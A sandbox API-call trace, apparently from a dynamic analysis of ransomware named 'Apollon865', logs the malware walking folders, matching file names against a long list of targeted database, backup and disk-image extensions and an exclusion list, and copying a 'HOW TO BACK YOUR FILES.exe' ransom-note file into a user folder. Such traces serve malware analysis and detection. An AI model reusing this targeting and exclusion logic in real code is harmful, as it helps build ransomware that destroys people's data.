	[0035.848] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.848] lstrlenW (lpString="kdb") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.848] lstrlenW (lpString="kexi") returned 4
	[0035.848] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.848] lstrlenW (lpString="kexic") returned 5
	[0035.848] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.848] lstrlenW (lpString="kexis") returned 5
	[0035.848] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.848] lstrlenW (lpString="lgc") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.848] lstrlenW (lpString="lwx") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.848] lstrlenW (lpString="maf") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.848] lstrlenW (lpString="maq") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.848] lstrlenW (lpString="mar") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.848] lstrlenW (lpString="marshal") returned 7
	[0035.848] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.848] lstrlenW (lpString="mas") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.849] lstrlenW (lpString="mav") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.849] lstrlenW (lpString="maw") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.849] lstrlenW (lpString="mdbhtml") returned 7
	[0035.849] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.849] lstrlenW (lpString="mdn") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.849] lstrlenW (lpString="mdt") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.849] lstrlenW (lpString="mfd") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.849] lstrlenW (lpString="mpd") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.849] lstrlenW (lpString="mrg") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.849] lstrlenW (lpString="mud") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.849] lstrlenW (lpString="mwb") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.849] lstrlenW (lpString="myd") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.849] lstrlenW (lpString="ndf") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.849] lstrlenW (lpString="nnt") returned 3
	[0035.849] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.850] lstrlenW (lpString="nrmlib") returned 6
	[0035.850] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.850] lstrlenW (lpString="ns2") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.850] lstrlenW (lpString="ns3") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.850] lstrlenW (lpString="ns4") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.850] lstrlenW (lpString="nsf") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.850] lstrlenW (lpString="nv") returned 2
	[0035.850] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.850] lstrlenW (lpString="nv2") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.850] lstrlenW (lpString="nwdb") returned 4
	[0035.850] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.850] lstrlenW (lpString="nyf") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.850] lstrlenW (lpString="odb") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.850] lstrlenW (lpString="odb") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.850] lstrlenW (lpString="oqy") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.850] lstrlenW (lpString="ora") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.850] lstrlenW (lpString="orx") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.850] lstrlenW (lpString="owc") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.850] lstrlenW (lpString="p96") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.850] lstrlenW (lpString="p97") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.850] lstrlenW (lpString="pan") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.850] lstrlenW (lpString="pdb") returned 3
	[0035.850] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.850] lstrlenW (lpString="pdm") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.851] lstrlenW (lpString="pnz") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.851] lstrlenW (lpString="qry") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.851] lstrlenW (lpString="qvd") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.851] lstrlenW (lpString="rbf") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.851] lstrlenW (lpString="rctd") returned 4
	[0035.851] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.851] lstrlenW (lpString="rod") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.851] lstrlenW (lpString="rodx") returned 4
	[0035.851] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.851] lstrlenW (lpString="rpd") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.851] lstrlenW (lpString="rsd") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.851] lstrlenW (lpString="sas7bdat") returned 8
	[0035.851] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.851] lstrlenW (lpString="sbf") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.851] lstrlenW (lpString="scx") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.851] lstrlenW (lpString="sdb") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.851] lstrlenW (lpString="sdc") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.851] lstrlenW (lpString="sdf") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.851] lstrlenW (lpString="sis") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.851] lstrlenW (lpString="spq") returned 3
	[0035.851] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.851] lstrlenW (lpString="te") returned 2
	[0035.851] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.851] lstrlenW (lpString="teacher") returned 7
	[0035.851] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.852] lstrlenW (lpString="tmd") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.852] lstrlenW (lpString="tps") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.852] lstrlenW (lpString="trc") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.852] lstrlenW (lpString="trc") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.852] lstrlenW (lpString="trm") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.852] lstrlenW (lpString="udb") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.852] lstrlenW (lpString="udl") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.852] lstrlenW (lpString="usr") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.852] lstrlenW (lpString="v12") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.852] lstrlenW (lpString="vis") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.852] lstrlenW (lpString="vpd") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.852] lstrlenW (lpString="vvv") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.852] lstrlenW (lpString="wdb") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.852] lstrlenW (lpString="wmdb") returned 4
	[0035.852] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.852] lstrlenW (lpString="wrk") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.852] lstrlenW (lpString="xdb") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.852] lstrlenW (lpString="xld") returned 3
	[0035.852] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.852] lstrlenW (lpString="xmlff") returned 5
	[0035.852] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.852] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da1a730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.852] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.852] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2=".") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="..") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="windows") returned -1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="bootmgr") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="temp") returned -1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="pagefile.sys") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="boot") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="ids.txt") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="ntuser.dat") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="perflogs") returned 1
	[0035.853] lstrcmpiW (lpString1="Sample Pictures", lpString2="MSBuild") returned 1
	[0035.853] lstrlenW (lpString="Sample Pictures") returned 15
	[0035.853] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\desktop.ini") returned 36
	[0035.853] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures"
	[0035.853] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", dwFileAttributes=0x10) returned 1
	[0035.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0035.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5980a8
	[0035.853] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7b30
	[0035.853] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0
	[0035.853] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0035.853] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b50
	[0035.854] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Pictures\\Sample Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures"
	[0035.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5980a8 | out: hHeap=0x580000) returned 1
	[0035.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0035.854] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures") returned 40
	[0035.854] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: lpString1="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures"
	[0035.854] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.860] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.860] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0035.860] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.860] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.860] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.860] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.860] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.860] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.860] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.860] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.860] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".") returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="..") returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="windows") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="bootmgr") returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="temp") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="pagefile.sys") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="boot") returned 1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ids.txt") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ntuser.dat") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="perflogs") returned -1
	[0035.860] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="MSBuild") returned -1
	[0035.860] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0035.860] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned 42
	[0035.861] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Chrysanthemum.jpg" | out: lpString1="Chrysanthemum.jpg") returned="Chrysanthemum.jpg"
	[0035.861] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0035.861] lstrlenW (lpString="Apollon865") returned 10
	[0035.861] lstrcmpiW (lpString1="themum.jpg", lpString2="Apollon865") returned 1
	[0035.861] lstrlenW (lpString=".dll") returned 4
	[0035.861] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".dll") returned 1
	[0035.861] lstrlenW (lpString=".lnk") returned 4
	[0035.861] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".lnk") returned 1
	[0035.861] lstrlenW (lpString=".ini") returned 4
	[0035.861] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".ini") returned 1
	[0035.861] lstrlenW (lpString=".sys") returned 4
	[0035.861] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".sys") returned 1
	[0035.861] lstrlenW (lpString="Chrysanthemum.jpg") returned 17
	[0035.861] lstrlenW (lpString="bak") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.861] lstrlenW (lpString="ba_") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.861] lstrlenW (lpString="dbb") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.861] lstrlenW (lpString="vmdk") returned 4
	[0035.861] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.861] lstrlenW (lpString="rar") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.861] lstrlenW (lpString="zip") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.861] lstrlenW (lpString="tgz") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.861] lstrlenW (lpString="vbox") returned 4
	[0035.861] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.861] lstrlenW (lpString="vdi") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.861] lstrlenW (lpString="vhd") returned 3
	[0035.861] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.861] lstrlenW (lpString="vhdx") returned 4
	[0035.861] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.861] lstrlenW (lpString="avhd") returned 4
	[0035.861] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.862] lstrlenW (lpString="db") returned 2
	[0035.862] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.862] lstrlenW (lpString="db2") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.862] lstrlenW (lpString="db3") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.862] lstrlenW (lpString="dbf") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.862] lstrlenW (lpString="mdf") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.862] lstrlenW (lpString="mdb") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.862] lstrlenW (lpString="sql") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.862] lstrlenW (lpString="sqlite") returned 6
	[0035.862] lstrcmpiW (lpString1="um.jpg", lpString2="sqlite") returned 1
	[0035.862] lstrlenW (lpString="sqlite3") returned 7
	[0035.862] lstrcmpiW (lpString1="mum.jpg", lpString2="sqlite3") returned -1
	[0035.862] lstrlenW (lpString="sqlitedb") returned 8
	[0035.862] lstrcmpiW (lpString1="emum.jpg", lpString2="sqlitedb") returned -1
	[0035.862] lstrlenW (lpString="xml") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.862] lstrlenW (lpString="$er") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.862] lstrlenW (lpString="4dd") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.862] lstrlenW (lpString="4dl") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.862] lstrlenW (lpString="^^^") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.862] lstrlenW (lpString="abs") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.862] lstrlenW (lpString="abx") returned 3
	[0035.862] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.862] lstrlenW (lpString="accdb") returned 5
	[0035.862] lstrcmpiW (lpString1="m.jpg", lpString2="accdb") returned 1
	[0035.862] lstrlenW (lpString="accdc") returned 5
	[0035.862] lstrcmpiW (lpString1="m.jpg", lpString2="accdc") returned 1
	[0035.863] lstrlenW (lpString="accde") returned 5
	[0035.863] lstrcmpiW (lpString1="m.jpg", lpString2="accde") returned 1
	[0035.863] lstrlenW (lpString="accdr") returned 5
	[0035.863] lstrcmpiW (lpString1="m.jpg", lpString2="accdr") returned 1
	[0035.863] lstrlenW (lpString="accdt") returned 5
	[0035.863] lstrcmpiW (lpString1="m.jpg", lpString2="accdt") returned 1
	[0035.863] lstrlenW (lpString="accdw") returned 5
	[0035.863] lstrcmpiW (lpString1="m.jpg", lpString2="accdw") returned 1
	[0035.863] lstrlenW (lpString="accft") returned 5
	[0035.863] lstrcmpiW (lpString1="m.jpg", lpString2="accft") returned 1
	[0035.863] lstrlenW (lpString="adb") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.863] lstrlenW (lpString="adb") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.863] lstrlenW (lpString="ade") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.863] lstrlenW (lpString="adf") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.863] lstrlenW (lpString="adn") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.863] lstrlenW (lpString="adp") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.863] lstrlenW (lpString="alf") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.863] lstrlenW (lpString="ask") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.863] lstrlenW (lpString="btr") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.863] lstrlenW (lpString="cat") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.863] lstrlenW (lpString="cdb") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.863] lstrlenW (lpString="ckp") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.863] lstrlenW (lpString="cma") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.863] lstrlenW (lpString="cpd") returned 3
	[0035.863] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.863] lstrlenW (lpString="dacpac") returned 6
	[0035.863] lstrcmpiW (lpString1="um.jpg", lpString2="dacpac") returned 1
	[0035.864] lstrlenW (lpString="dad") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.864] lstrlenW (lpString="dadiagrams") returned 10
	[0035.864] lstrcmpiW (lpString1="themum.jpg", lpString2="dadiagrams") returned 1
	[0035.864] lstrlenW (lpString="daschema") returned 8
	[0035.864] lstrcmpiW (lpString1="emum.jpg", lpString2="daschema") returned 1
	[0035.864] lstrlenW (lpString="db-journal") returned 10
	[0035.864] lstrcmpiW (lpString1="themum.jpg", lpString2="db-journal") returned 1
	[0035.864] lstrlenW (lpString="db-shm") returned 6
	[0035.864] lstrcmpiW (lpString1="um.jpg", lpString2="db-shm") returned 1
	[0035.864] lstrlenW (lpString="db-wal") returned 6
	[0035.864] lstrcmpiW (lpString1="um.jpg", lpString2="db-wal") returned 1
	[0035.864] lstrlenW (lpString="dbc") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.864] lstrlenW (lpString="dbs") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.864] lstrlenW (lpString="dbt") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.864] lstrlenW (lpString="dbv") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.864] lstrlenW (lpString="dbx") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.864] lstrlenW (lpString="dcb") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.864] lstrlenW (lpString="dct") returned 3
